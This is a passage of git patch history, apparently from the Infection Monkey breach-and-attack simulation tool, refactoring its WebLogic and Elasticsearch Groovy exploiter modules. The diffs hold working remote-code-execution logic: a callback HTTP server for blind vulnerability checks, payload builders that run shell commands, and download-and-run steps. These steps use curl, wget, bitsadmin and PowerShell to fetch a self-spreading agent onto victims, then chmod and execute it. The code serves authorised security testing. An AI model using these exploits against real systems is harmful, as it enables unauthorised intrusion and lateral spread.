b/infection_monkey/exploit/weblogic.py @@ -45,8 +45,8 @@ class WebLogicExploiter(WebRCE): def __init__(self, host): super(WebLogicExploiter, self).__init__(host, {'linux': '/tmp/monkey.sh', - 'win32': 'monkey-32.exe', - 'win64': 'monkey-64.exe'}) + 'win32': 'monkey32.exe', + 'win64': 'monkey64.exe'}) def get_exploit_config(self): exploit_config = super(WebLogicExploiter, self).get_exploit_config() @@ -102,12 +102,13 @@ class WebLogicExploiter(WebRCE): Http server built to wait for GET requests. Because oracle web logic vuln is blind, we determine if we can exploit by either getting a GET request from host or not. """ - def __init__(self, local_ip, local_port, max_requests=1): + def __init__(self, local_ip, local_port, lock, max_requests=1): self._local_ip = local_ip self._local_port = local_port self.get_requests = 0 self.max_requests = max_requests self._stopped = False + self.lock = lock threading.Thread.__init__(self) def run(self): @@ -119,7 +120,7 @@ class WebLogicExploiter(WebRCE): LOG.info('Server waiting for exploited machine request...') httpd = HTTPServer((self._local_ip, self._local_port), S) httpd.daemon = True - LOCK.release() + self.lock.release() while not self._stopped and self.get_requests < self.max_requests: httpd.handle_request() @@ -135,7 +136,7 @@ class WebLogicExploiter(WebRCE): lock = threading.Lock() local_port = get_free_tcp_port() local_ip = get_interface_to_target(self.host.ip_addr) - httpd = WebLogicExploiter.HTTPServer(local_ip, local_port) + httpd = WebLogicExploiter.HTTPServer(local_ip, local_port, lock) httpd.daemon = True lock.acquire() httpd.start() From 39bb41ed25a1ab950063b5520e9cda65e1c042bc Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 23 Aug 2018 16:03:55 +0300 Subject: [PATCH 112/137] Removed unused imports and tested --- infection_monkey/exploit/weblogic.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/infection_monkey/exploit/weblogic.py b/infection_monkey/exploit/weblogic.py index 113a63046..bd6cbc777 100644 --- a/infection_monkey/exploit/weblogic.py +++ b/infection_monkey/exploit/weblogic.py @@ -10,11 +10,10 @@ from requests import post, exceptions from web_rce import WebRCE from exploit.tools import get_free_tcp_port, get_interface_to_target from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer -from model import POWERSHELL_HTTP_UPLOAD, WGET_HTTP_UPLOAD import threading import logging -import copy + __author__ = "VakarisZ" LOG = logging.getLogger(__name__) From 307a7c396c70f72cd2a35a2bdfdb8f2deaa8d11a Mon Sep 17 00:00:00 2001 From: Vakaris Date: Sat, 25 Aug 2018 17:56:43 +0300 Subject: [PATCH 113/137] Notes fixed and tested --- infection_monkey/config.py | 3 +- infection_monkey/exploit/weblogic.py | 141 ++++++++++++++------------- 2 files changed, 77 insertions(+), 67 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index b5df92f55..f8094817c 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -191,7 +191,8 @@ class Configuration(object): # TCP Scanner HTTP_PORTS = [80, 8080, 443, - 8008, 7001 # HTTP alternate + 8008, # HTTP alternate + 7001 # Oracle Weblogic default server port ] tcp_target_ports = [22, 2222, diff --git a/infection_monkey/exploit/weblogic.py b/infection_monkey/exploit/weblogic.py index bd6cbc777..4169bb537 100644 --- a/infection_monkey/exploit/weblogic.py +++ b/infection_monkey/exploit/weblogic.py @@ -17,11 +17,11 @@ import logging __author__ = "VakarisZ" LOG = logging.getLogger(__name__) -# How long server waits for get request +# How long server waits for get request in seconds SERVER_TIMEOUT = 4 -# How long to wait for a request to go to vuln machine and then to our server from there +# How long to wait for a request to go to vuln machine and then to our server from there. In seconds REQUEST_TIMEOUT = 2 -# How long to wait for response in exploitation +# How long to wait for response in exploitation. In seconds EXECUTION_TIMEOUT = 15 URLS = ["/wls-wsat/CoordinatorPortType", "/wls-wsat/CoordinatorPortType11", @@ -55,40 +55,10 @@ class WebLogicExploiter(WebRCE): return exploit_config def exploit(self, url, command): - empty_payload = ''' - - - - - - - {cmd_base} - - - {cmd_opt} - - - {cmd_payload} - - - - - - - - - - ''' if 'linux' in self.host.os['type']: - cmd_base = '/bin/sh' - cmd_opt = '-c' - command += ' 1> /dev/null 2> /dev/null' + payload = self.exploit_payload('/bin/sh', '-c', command + ' 1> /dev/null 2> /dev/null') else: - cmd_base = 'cmd' - cmd_opt = '/c' - command += ' 1> NUL 2> NUL' - - payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command) + payload = self.exploit_payload('cmd', '/c', command + ' 1> NUL 2> NUL') try: post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False) except Exception as e: @@ -96,7 +66,7 @@ class WebLogicExploiter(WebRCE): print(e) return True - class HTTPServer(threading.Thread): + class IndicationHTTPServer(threading.Thread): """ Http server built to wait for GET requests. Because oracle web logic vuln is blind, we determine if we can exploit by either getting a GET request from host or not. @@ -109,6 +79,7 @@ class WebLogicExploiter(WebRCE): self._stopped = False self.lock = lock threading.Thread.__init__(self) + self.daemon = True def run(self): class S(BaseHTTPRequestHandler): @@ -132,43 +103,81 @@ class WebLogicExploiter(WebRCE): def check_if_exploitable(self, url): # Server might get response faster than it starts listening to it, we need a lock - lock = threading.Lock() - local_port = get_free_tcp_port() - local_ip = get_interface_to_target(self.host.ip_addr) - httpd = WebLogicExploiter.HTTPServer(local_ip, local_port, lock) - httpd.daemon = True - lock.acquire() - httpd.start() - lock.acquire() - generic_check_payload = ''' - - - - - http://{lhost}:{lport} - - - - - - - - - - ''' - payload = generic_check_payload.format(lhost=local_ip, lport=local_port) + httpd, lock = self._start_http_server() + payload = self.test_payload(ip=httpd._local_ip, port=httpd._local_port) try: post(url, data=payload, headers=HEADERS, timeout=REQUEST_TIMEOUT, verify=False) except exceptions.ReadTimeout: + # Our request does not get response thus we get ReadTimeout error pass except Exception as e: LOG.error("Something went wrong: %s" % e) + self._stop_http_server(httpd, lock) + return httpd.get_requests > 0 + def _start_http_server(self): + lock = threading.Lock() + local_port = get_free_tcp_port() + local_ip = get_interface_to_target(self.host.ip_addr) + httpd = self.IndicationHTTPServer(local_ip, local_port, lock) + lock.acquire() + httpd.start() + lock.acquire() + return httpd, lock + + def _stop_http_server(self, httpd, lock): lock.release() httpd.join(SERVER_TIMEOUT) httpd.stop() - if httpd.get_requests > 0: - exploited = True - else: - exploited = False - return exploited + return True + + + @staticmethod + def exploit_payload(cmd_base, cmd_opt, command): + empty_payload = ''' + + + + + + + {cmd_base} + + + {cmd_opt} + + + {cmd_payload} + + + + + + + + + + ''' + payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command) + return payload + + @staticmethod + def test_payload(ip, port): + generic_check_payload = ''' + + + + + http://{host}:{port} + + + + + + + + + + ''' + payload = generic_check_payload.format(host=ip, port=port) + return payload From 57e795573e1e5bbdd4524b02f705931d29d86296 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 28 Aug 2018 22:37:07 +0300 Subject: [PATCH 114/137] Documented what's required and other minor changes --- infection_monkey/exploit/weblogic.py | 30 ++++++++++++++++++++-------- 1 file changed, 22 insertions(+), 8 deletions(-) diff --git a/infection_monkey/exploit/weblogic.py b/infection_monkey/exploit/weblogic.py index 4169bb537..68ea9f5f2 100644 --- a/infection_monkey/exploit/weblogic.py +++ b/infection_monkey/exploit/weblogic.py @@ -56,9 +56,9 @@ class WebLogicExploiter(WebRCE): def exploit(self, url, command): if 'linux' in self.host.os['type']: - payload = self.exploit_payload('/bin/sh', '-c', command + ' 1> /dev/null 2> /dev/null') + payload = self.get_exploit_payload('/bin/sh', '-c', command + ' 1> /dev/null 2> /dev/null') else: - payload = self.exploit_payload('cmd', '/c', command + ' 1> NUL 2> NUL') + payload = self.get_exploit_payload('cmd', '/c', command + ' 1> NUL 2> NUL') try: post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False) except Exception as e: @@ -99,12 +99,11 @@ class WebLogicExploiter(WebRCE): def stop(self): self._stopped = True - return def check_if_exploitable(self, url): # Server might get response faster than it starts listening to it, we need a lock httpd, lock = self._start_http_server() - payload = self.test_payload(ip=httpd._local_ip, port=httpd._local_port) + payload = self.get_test_payload(ip=httpd._local_ip, port=httpd._local_port) try: post(url, data=payload, headers=HEADERS, timeout=REQUEST_TIMEOUT, verify=False) except exceptions.ReadTimeout: @@ -116,6 +115,10 @@ class WebLogicExploiter(WebRCE): return httpd.get_requests > 0 def _start_http_server(self): + """ + Starts custom http server that waits for GET requests + :return: httpd (IndicationHTTPServer daemon object handler), lock (acquired lock) + """ lock = threading.Lock() local_port = get_free_tcp_port() local_ip = get_interface_to_target(self.host.ip_addr) @@ -129,11 +132,16 @@ class WebLogicExploiter(WebRCE): lock.release() httpd.join(SERVER_TIMEOUT) httpd.stop() - return True - @staticmethod - def exploit_payload(cmd_base, cmd_opt, command): + def get_exploit_payload(cmd_base, cmd_opt, command): + """ + Formats the payload used in exploiting weblogic servers + :param cmd_base: What command prompt to use eg. cmd + :param cmd_opt: cmd_base commands parameters. eg. /c (to run command) + :param command: command itself + :return: Formatted payload + """ empty_payload = ''' @@ -162,7 +170,13 @@ class WebLogicExploiter(WebRCE): return payload @staticmethod - def test_payload(ip, port): + def get_test_payload(ip, port): + """ + Gets payload used for testing whether weblogic server is vulnerable + :param ip: Server's IP + :param port: Server's port + :return: Formatted payload + """ generic_check_payload = ''' From 3f809403d1754b1144ab745405b54bb896d45b34 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 29 Aug 2018 16:55:03 +0300 Subject: [PATCH 115/137] Custom http server class moved to the end of file --- infection_monkey/exploit/weblogic.py | 68 ++++++++++++++-------------- 1 file changed, 34 insertions(+), 34 deletions(-) diff --git a/infection_monkey/exploit/weblogic.py b/infection_monkey/exploit/weblogic.py index 68ea9f5f2..24e99424c 100644 --- a/infection_monkey/exploit/weblogic.py +++ b/infection_monkey/exploit/weblogic.py @@ -66,40 +66,6 @@ class WebLogicExploiter(WebRCE): print(e) return True - class IndicationHTTPServer(threading.Thread): - """ - Http server built to wait for GET requests. Because oracle web logic vuln is blind, - we determine if we can exploit by either getting a GET request from host or not. - """ - def __init__(self, local_ip, local_port, lock, max_requests=1): - self._local_ip = local_ip - self._local_port = local_port - self.get_requests = 0 - self.max_requests = max_requests - self._stopped = False - self.lock = lock - threading.Thread.__init__(self) - self.daemon = True - - def run(self): - class S(BaseHTTPRequestHandler): - @staticmethod - def do_GET(): - LOG.info('Server received a request from vulnerable machine') - self.get_requests += 1 - LOG.info('Server waiting for exploited machine request...') - httpd = HTTPServer((self._local_ip, self._local_port), S) - httpd.daemon = True - self.lock.release() - while not self._stopped and self.get_requests < self.max_requests: - httpd.handle_request() - - self._stopped = True - return httpd - - def stop(self): - self._stopped = True - def check_if_exploitable(self, url): # Server might get response faster than it starts listening to it, we need a lock httpd, lock = self._start_http_server() @@ -195,3 +161,37 @@ class WebLogicExploiter(WebRCE): ''' payload = generic_check_payload.format(host=ip, port=port) return payload + + class IndicationHTTPServer(threading.Thread): + """ + Http server built to wait for GET requests. Because oracle web logic vuln is blind, + we determine if we can exploit by either getting a GET request from host or not. + """ + def __init__(self, local_ip, local_port, lock, max_requests=1): + self._local_ip = local_ip + self._local_port = local_port + self.get_requests = 0 + self.max_requests = max_requests + self._stopped = False + self.lock = lock + threading.Thread.__init__(self) + self.daemon = True + + def run(self): + class S(BaseHTTPRequestHandler): + @staticmethod + def do_GET(): + LOG.info('Server received a request from vulnerable machine') + self.get_requests += 1 + LOG.info('Server waiting for exploited machine request...') + httpd = HTTPServer((self._local_ip, self._local_port), S) + httpd.daemon = True + self.lock.release() + while not self._stopped and self.get_requests < self.max_requests: + httpd.handle_request() + + self._stopped = True + return httpd + + def stop(self): + self._stopped = True From 8ddfb03f270884f6015ba1a2492065f625c20b73 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Fri, 20 Jul 2018 18:15:15 +0300 Subject: [PATCH 116/137] Uploaded and modified standard web_rce code usage.Not working, not tested --- infection_monkey/exploit/elasticgroovy.py | 72 +++++++++++-------- infection_monkey/network/mssql_fingerprint.py | 3 +- 2 files changed, 44 insertions(+), 31 deletions(-) diff --git a/infection_monkey/exploit/elasticgroovy.py b/infection_monkey/exploit/elasticgroovy.py index 989ae5cdf..d056afb05 100644 --- a/infection_monkey/exploit/elasticgroovy.py +++ b/infection_monkey/exploit/elasticgroovy.py @@ -9,17 +9,17 @@ import logging import requests -from exploit import HostExploiter from model import DROPPER_ARG from network.elasticfinger import ES_SERVICE, ES_PORT from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth +from exploit.web_rce import WebRCE __author__ = 'danielg' LOG = logging.getLogger(__name__) -class ElasticGroovyExploiter(HostExploiter): +class ElasticGroovyExploiter(WebRCE): # attack URLs BASE_URL = 'http://%s:%s/_search?pretty' MONKEY_RESULT_FIELD = "monkey_result" @@ -38,40 +38,52 @@ class ElasticGroovyExploiter(HostExploiter): def __init__(self, host): super(ElasticGroovyExploiter, self).__init__(host) - self._config = __import__('config').WormConfiguration - self.skip_exist = self._config.skip_exploit_if_file_exist - - def is_os_supported(self): - """ - Checks if the host is vulnerable. - Either using version string or by trying to attack - :return: - """ - if not super(ElasticGroovyExploiter, self).is_os_supported(): - return False + def exploit_host(self): + # self.exploit_host_linux() if ES_SERVICE not in self.host.services: LOG.info("Host: %s doesn't have ES open" % self.host.ip_addr) return False - major, minor, build = self.host.services[ES_SERVICE]['version'].split('.') - major = int(major) - minor = int(minor) - build = int(build) - if major > 1: + # We need a reference to the exploiter for WebRCE framework to use + exploiter = self.exploit + # Build url from host and elastic port(not https) + urls = WebRCE.build_potential_urls(self.host, [[ES_PORT, False]], ['_search?pretty']) + vulnerable_urls = [] + for url in urls: + if WebRCE.check_if_exploitable(exploiter, url): + vulnerable_urls.append(url) + self._exploit_info['vulnerable_urls'] = vulnerable_urls + if not vulnerable_urls: return False - if major == 1 and minor > 4: - return False - if major == 1 and minor == 4 and build > 2: - return False - return self.is_vulnerable() - def exploit_host(self): - real_host_os = self.get_host_os() - self.host.os['type'] = str(real_host_os.lower()) # strip unicode characters - if 'linux' in self.host.os['type']: - return self.exploit_host_linux() - else: - return self.exploit_host_windows() + if self.skip_exist and WebRCE.check_remote_files(self.host, exploiter, vulnerable_urls[0], self._config): + LOG.info("Host %s was already infected under the current configuration, done" % self.host) + return True + + if not WebRCE.set_host_arch(self.host, exploiter, vulnerable_urls[0]): + return False + + data = WebRCE.upload_monkey(self.host, self._config, exploiter, vulnerable_urls[0]) + + # We can't use 'if not' because response may be '' + if data is not False and data['response'] == False: + return False + + if WebRCE.change_permissions(self.host, vulnerable_urls[0], exploiter, data['path']) == False: + return False + + if WebRCE.execute_remote_monkey(self.host, vulnerable_urls[0], exploiter, data['path'], True) == False: + return False + + return True + + def exploit(self, url, command): + payload = self.JAVA_CMD % command + response = requests.get(url, data=payload) + result = self.get_results(response) + if not result: # not vulnerable + return False + return result[0] def exploit_host_windows(self): """ diff --git a/infection_monkey/network/mssql_fingerprint.py b/infection_monkey/network/mssql_fingerprint.py index 9409c2255..ea4370d24 100644 --- a/infection_monkey/network/mssql_fingerprint.py +++ b/infection_monkey/network/mssql_fingerprint.py @@ -29,7 +29,8 @@ class MSSQLFinger(HostFinger): Discovered server information written to the Host info struct. True if success, False otherwise. """ - + # TODO remove auto-return + return False assert isinstance(host, VictimHost) # Create a UDP socket and sets a timeout From 7e2cc86ab95c2d22440822ff85321dad1973c7fa Mon Sep 17 00:00:00 2001 From: Vakaris Date: Mon, 23 Jul 2018 12:04:18 +0300 Subject: [PATCH 117/137] Code cleaned and tested on ubuntu --- infection_monkey/exploit/elasticgroovy.py | 153 ---------------------- 1 file changed, 153 deletions(-) diff --git a/infection_monkey/exploit/elasticgroovy.py b/infection_monkey/exploit/elasticgroovy.py index d056afb05..668a95ce3 100644 --- a/infection_monkey/exploit/elasticgroovy.py +++ b/infection_monkey/exploit/elasticgroovy.py @@ -85,159 +85,6 @@ class ElasticGroovyExploiter(WebRCE): return False return result[0] - def exploit_host_windows(self): - """ - TODO - Will exploit windows similar to smbexec - :return: - """ - return False - - def exploit_host_linux(self): - """ - Exploits linux using similar flow to sshexec and shellshock. - Meaning run remote commands to copy files over HTTP - :return: - """ - uname_machine = str(self.get_linux_arch()) - if len(uname_machine) != 0: - self.host.os['machine'] = str(uname_machine.lower().strip()) # strip unicode characters - dropper_target_path_linux = self._config.dropper_target_path_linux - if self.skip_exist and (self.check_if_remote_file_exists_linux(dropper_target_path_linux)): - LOG.info("Host %s was already infected under the current configuration, done" % self.host) - return True # return already infected - src_path = get_target_monkey(self.host) - if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) - return False - - if not self.download_file_in_linux(src_path, target_path=dropper_target_path_linux): - return False - - self.set_file_executable_linux(dropper_target_path_linux) - self.run_monkey_linux(dropper_target_path_linux) - - if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)): - LOG.info("Log file does not exist, monkey might not have run") - - return True - - def run_monkey_linux(self, dropper_target_path_linux): - """ - Runs the monkey - """ - - cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG) - cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1, location=dropper_target_path_linux) - cmdline += ' & ' - self.run_shell_command(cmdline) - LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", - self._config.dropper_target_path_linux, self.host, cmdline) - if not (self.check_if_remote_file_exists_linux(self._config.dropper_log_path_linux)): - LOG.info("Log file does not exist, monkey might not have run") - - def download_file_in_linux(self, src_path, target_path): - """ - Downloads a file in target machine using curl to the given target path - :param src_path: File path relative to the monkey - :param target_path: Target path in linux victim - :return: T/F - """ - http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) - if not http_path: - LOG.debug("Exploiter %s failed, http transfer creation failed." % self.__name__) - return False - download_command = '/usr/bin/curl %s -o %s' % ( - http_path, target_path) - self.run_shell_command(download_command) - http_thread.join(self.DOWNLOAD_TIMEOUT) - http_thread.stop() - if (http_thread.downloads != 1) or ( - 'ELF' not in - self.check_if_remote_file_exists_linux(target_path)): - LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__) - return False - return True - - def set_file_executable_linux(self, file_path): - """ - Marks the given file as executable using chmod - :return: Nothing - """ - chmod = '/bin/chmod +x %s' % file_path - self.run_shell_command(chmod) - LOG.info("Marked file %s on host %s as executable", file_path, self.host) - - def check_if_remote_file_exists_linux(self, file_path): - """ - :return: - """ - cmdline = '/usr/bin/head -c 4 %s' % file_path - return self.run_shell_command(cmdline) - - def run_shell_command(self, command): - """ - Runs a single shell command and returns the result. - """ - payload = self.JAVA_CMD % command - result = self.get_command_result(payload) - LOG.info("Ran the command %s on host %s", command, self.host) - return result - - def get_linux_arch(self): - """ - Returns host as per uname -m - """ - return self.get_command_result(self.JAVA_GET_BIT_LINUX) - - def get_host_tempdir(self): - """ - Returns where to write our file given our permissions - :return: Temp directory path in target host - """ - return self.get_command_result(self.JAVA_GET_TMP_DIR) - - def get_host_os(self): - """ - :return: target OS - """ - return self.get_command_result(self.JAVA_GET_OS) - - def is_vulnerable(self): - """ - Checks if a given elasticsearch host is vulnerable to the groovy attack - :return: True/False - """ - result_text = self.get_command_result(self.JAVA_IS_VULNERABLE) - return 'java.lang.Runtime' in result_text - - def get_command_result(self, payload): - """ - Gets the result of an attack payload with a single return value. - :param payload: Payload that fits the GENERIC_QUERY template. - """ - result = self.attack_query(payload) - if not result: # not vulnerable - return "" - return result[0] - - def attack_query(self, payload): - """ - Wraps the requests query and the JSON parsing. - Just reduce opportunity for bugs - :return: List of data fields or None - """ - response = requests.get(self.attack_url(), data=payload) - result = self.get_results(response) - return result - - def attack_url(self): - """ - Composes the URL to attack per host IP and port. - :return: Elasticsearch vulnerable URL - """ - return self.BASE_URL % (self.host.ip_addr, ES_PORT) - def get_results(self, response): """ Extracts the result data from our attack From a54eedec113d914a458fc675e61052770dd8e5bf Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 24 Jul 2018 15:55:34 +0300 Subject: [PATCH 118/137] Commands tested and working on windows. --- infection_monkey/exploit/elasticgroovy.py | 25 +++++++++++++++++------ 1 file changed, 19 insertions(+), 6 deletions(-) diff --git a/infection_monkey/exploit/elasticgroovy.py b/infection_monkey/exploit/elasticgroovy.py index 668a95ce3..51531957b 100644 --- a/infection_monkey/exploit/elasticgroovy.py +++ b/infection_monkey/exploit/elasticgroovy.py @@ -6,13 +6,14 @@ import json import logging - import requests - -from model import DROPPER_ARG from network.elasticfinger import ES_SERVICE, ES_PORT from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth from exploit.web_rce import WebRCE +from model import WGET_HTTP_UPLOAD, POWERSHELL_HTTP_UPLOAD_NOT_ESCAPED + +import copy +import re __author__ = 'danielg' @@ -34,6 +35,10 @@ class ElasticGroovyExploiter(WebRCE): DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder + # Both commands are prepared for use in future development + RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s' + POWERSHELL_COMMAND = r"powershell -Command \\\"Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing\\\"" + _TARGET_OS_TYPE = ['linux', 'windows'] def __init__(self, host): @@ -56,14 +61,22 @@ class ElasticGroovyExploiter(WebRCE): if not vulnerable_urls: return False - if self.skip_exist and WebRCE.check_remote_files(self.host, exploiter, vulnerable_urls[0], self._config): + # Extra escaping required: + config = copy.deepcopy(self._config) + config.dropper_target_path_win_32 = r"C:\\\\Windows\\\\monkey32.exe" + config.dropper_target_path_win_64 = r"C:\\\\Windows\\\\monkey64.exe" + + if self.skip_exist and WebRCE.check_remote_files(self.host, exploiter, vulnerable_urls[0], config): LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True if not WebRCE.set_host_arch(self.host, exploiter, vulnerable_urls[0]): return False - data = WebRCE.upload_monkey(self.host, self._config, exploiter, vulnerable_urls[0]) + commands = {'windows': self.RDP_CMDLINE_HTTP, + 'linux': WGET_HTTP_UPLOAD} + + data = WebRCE.upload_monkey(self.host, config, exploiter, vulnerable_urls[0], commands) # We can't use 'if not' because response may be '' if data is not False and data['response'] == False: @@ -81,7 +94,7 @@ class ElasticGroovyExploiter(WebRCE): payload = self.JAVA_CMD % command response = requests.get(url, data=payload) result = self.get_results(response) - if not result: # not vulnerable + if not result: return False return result[0] From 76523e7379ce4652f77ecca478ba958c2aba5670 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Sat, 18 Aug 2018 16:49:33 +0300 Subject: [PATCH 119/137] Refactored elastic for latest framework changes --- infection_monkey/exploit/elasticgroovy.py | 28 +++++++------------ infection_monkey/network/mssql_fingerprint.py | 2 -- 2 files changed, 10 insertions(+), 20 deletions(-) diff --git a/infection_monkey/exploit/elasticgroovy.py b/infection_monkey/exploit/elasticgroovy.py index 51531957b..73fe359a5 100644 --- a/infection_monkey/exploit/elasticgroovy.py +++ b/infection_monkey/exploit/elasticgroovy.py @@ -8,11 +8,9 @@ import json import logging import requests from network.elasticfinger import ES_SERVICE, ES_PORT -from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth from exploit.web_rce import WebRCE -from model import WGET_HTTP_UPLOAD, POWERSHELL_HTTP_UPLOAD_NOT_ESCAPED +from model import WGET_HTTP_UPLOAD -import copy import re __author__ = 'danielg' @@ -49,48 +47,42 @@ class ElasticGroovyExploiter(WebRCE): if ES_SERVICE not in self.host.services: LOG.info("Host: %s doesn't have ES open" % self.host.ip_addr) return False - # We need a reference to the exploiter for WebRCE framework to use - exploiter = self.exploit # Build url from host and elastic port(not https) - urls = WebRCE.build_potential_urls(self.host, [[ES_PORT, False]], ['_search?pretty']) + urls = self.build_potential_urls([[ES_PORT, False]], ['_search?pretty']) vulnerable_urls = [] for url in urls: - if WebRCE.check_if_exploitable(exploiter, url): + if self.check_if_exploitable(url): vulnerable_urls.append(url) self._exploit_info['vulnerable_urls'] = vulnerable_urls if not vulnerable_urls: return False - # Extra escaping required: - config = copy.deepcopy(self._config) - config.dropper_target_path_win_32 = r"C:\\\\Windows\\\\monkey32.exe" - config.dropper_target_path_win_64 = r"C:\\\\Windows\\\\monkey64.exe" - - if self.skip_exist and WebRCE.check_remote_files(self.host, exploiter, vulnerable_urls[0], config): + if self.skip_exist and self.check_remote_files(vulnerable_urls[0]): LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True - if not WebRCE.set_host_arch(self.host, exploiter, vulnerable_urls[0]): + if not self.set_host_arch(vulnerable_urls[0]): return False commands = {'windows': self.RDP_CMDLINE_HTTP, 'linux': WGET_HTTP_UPLOAD} - data = WebRCE.upload_monkey(self.host, config, exploiter, vulnerable_urls[0], commands) + data = self.upload_monkey(vulnerable_urls[0], commands) # We can't use 'if not' because response may be '' - if data is not False and data['response'] == False: + if data is not False and data['response'] is False: return False - if WebRCE.change_permissions(self.host, vulnerable_urls[0], exploiter, data['path']) == False: + if self.change_permissions(vulnerable_urls[0], data['path']) is False: return False - if WebRCE.execute_remote_monkey(self.host, vulnerable_urls[0], exploiter, data['path'], True) == False: + if self.execute_remote_monkey(vulnerable_urls[0], data['path'], True) is False: return False return True def exploit(self, url, command): + command = re.sub(r"\\", r"\\\\\\\\", command) payload = self.JAVA_CMD % command response = requests.get(url, data=payload) result = self.get_results(response) diff --git a/infection_monkey/network/mssql_fingerprint.py b/infection_monkey/network/mssql_fingerprint.py index ea4370d24..f973f3d87 100644 --- a/infection_monkey/network/mssql_fingerprint.py +++ b/infection_monkey/network/mssql_fingerprint.py @@ -29,8 +29,6 @@ class MSSQLFinger(HostFinger): Discovered server information written to the Host info struct. True if success, False otherwise. """ - # TODO remove auto-return - return False assert isinstance(host, VictimHost) # Create a UDP socket and sets a timeout From 56b3190cb58eb4e0c01e18773e8feb6ca304c5a6 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Fri, 24 Aug 2018 14:27:48 +0300 Subject: [PATCH 120/137] Refactored elastic according to latest web_rce framework changes. Tested on windows and linux --- infection_monkey/exploit/elasticgroovy.py | 58 +++++++---------------- 1 file changed, 16 insertions(+), 42 deletions(-) diff --git a/infection_monkey/exploit/elasticgroovy.py b/infection_monkey/exploit/elasticgroovy.py index 73fe359a5..f83fdc3e7 100644 --- a/infection_monkey/exploit/elasticgroovy.py +++ b/infection_monkey/exploit/elasticgroovy.py @@ -7,13 +7,12 @@ import json import logging import requests -from network.elasticfinger import ES_SERVICE, ES_PORT from exploit.web_rce import WebRCE from model import WGET_HTTP_UPLOAD import re -__author__ = 'danielg' +__author__ = 'danielg, VakarisZ' LOG = logging.getLogger(__name__) @@ -31,55 +30,30 @@ class ElasticGroovyExploiter(WebRCE): % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()""" JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m' - DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder - # Both commands are prepared for use in future development RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s' - POWERSHELL_COMMAND = r"powershell -Command \\\"Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing\\\"" + POWERSHELL_COMMAND = r"powershell -Command \\\"Invoke-WebRequest -Uri '%(http_path)s'" \ + r" -OutFile '%(monkey_path)s' -UseBasicParsing\\\"" _TARGET_OS_TYPE = ['linux', 'windows'] def __init__(self, host): super(ElasticGroovyExploiter, self).__init__(host) - def exploit_host(self): - # self.exploit_host_linux() - if ES_SERVICE not in self.host.services: - LOG.info("Host: %s doesn't have ES open" % self.host.ip_addr) - return False - # Build url from host and elastic port(not https) - urls = self.build_potential_urls([[ES_PORT, False]], ['_search?pretty']) - vulnerable_urls = [] - for url in urls: - if self.check_if_exploitable(url): - vulnerable_urls.append(url) - self._exploit_info['vulnerable_urls'] = vulnerable_urls - if not vulnerable_urls: - return False + def get_exploit_config(self): + exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config() + exploit_config['dropper'] = True + exploit_config['url_extensions'] = ['_search?pretty'] + exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': self.RDP_CMDLINE_HTTP} + return exploit_config - if self.skip_exist and self.check_remote_files(vulnerable_urls[0]): - LOG.info("Host %s was already infected under the current configuration, done" % self.host) - return True - - if not self.set_host_arch(vulnerable_urls[0]): - return False - - commands = {'windows': self.RDP_CMDLINE_HTTP, - 'linux': WGET_HTTP_UPLOAD} - - data = self.upload_monkey(vulnerable_urls[0], commands) - - # We can't use 'if not' because response may be '' - if data is not False and data['response'] is False: - return False - - if self.change_permissions(vulnerable_urls[0], data['path']) is False: - return False - - if self.execute_remote_monkey(vulnerable_urls[0], data['path'], True) is False: - return False - - return True + def get_open_service_ports(self, port_list, names): + # We must append elastic port we get from elastic fingerprint module because It's not marked as 'http' service + valid_ports = super(ElasticGroovyExploiter, self).get_open_service_ports(port_list, names) + elastic_service = [service for service in self.host.services if 'elastic-search' in service][0] + elastic_port = [elastic_service.lstrip('elastic-search-'), False] + valid_ports.append(elastic_port) + return valid_ports def exploit(self, url, command): command = re.sub(r"\\", r"\\\\\\\\", command) From d4262ef0bd0c3d2a6321560844af325c0472f48a Mon Sep 17 00:00:00 2001 From: Vakaris Date: Sat, 25 Aug 2018 18:13:44 +0300 Subject: [PATCH 121/137] Removed unused constants --- infection_monkey/exploit/elasticgroovy.py | 6 ------ 1 file changed, 6 deletions(-) diff --git a/infection_monkey/exploit/elasticgroovy.py b/infection_monkey/exploit/elasticgroovy.py index f83fdc3e7..db07e00e1 100644 --- a/infection_monkey/exploit/elasticgroovy.py +++ 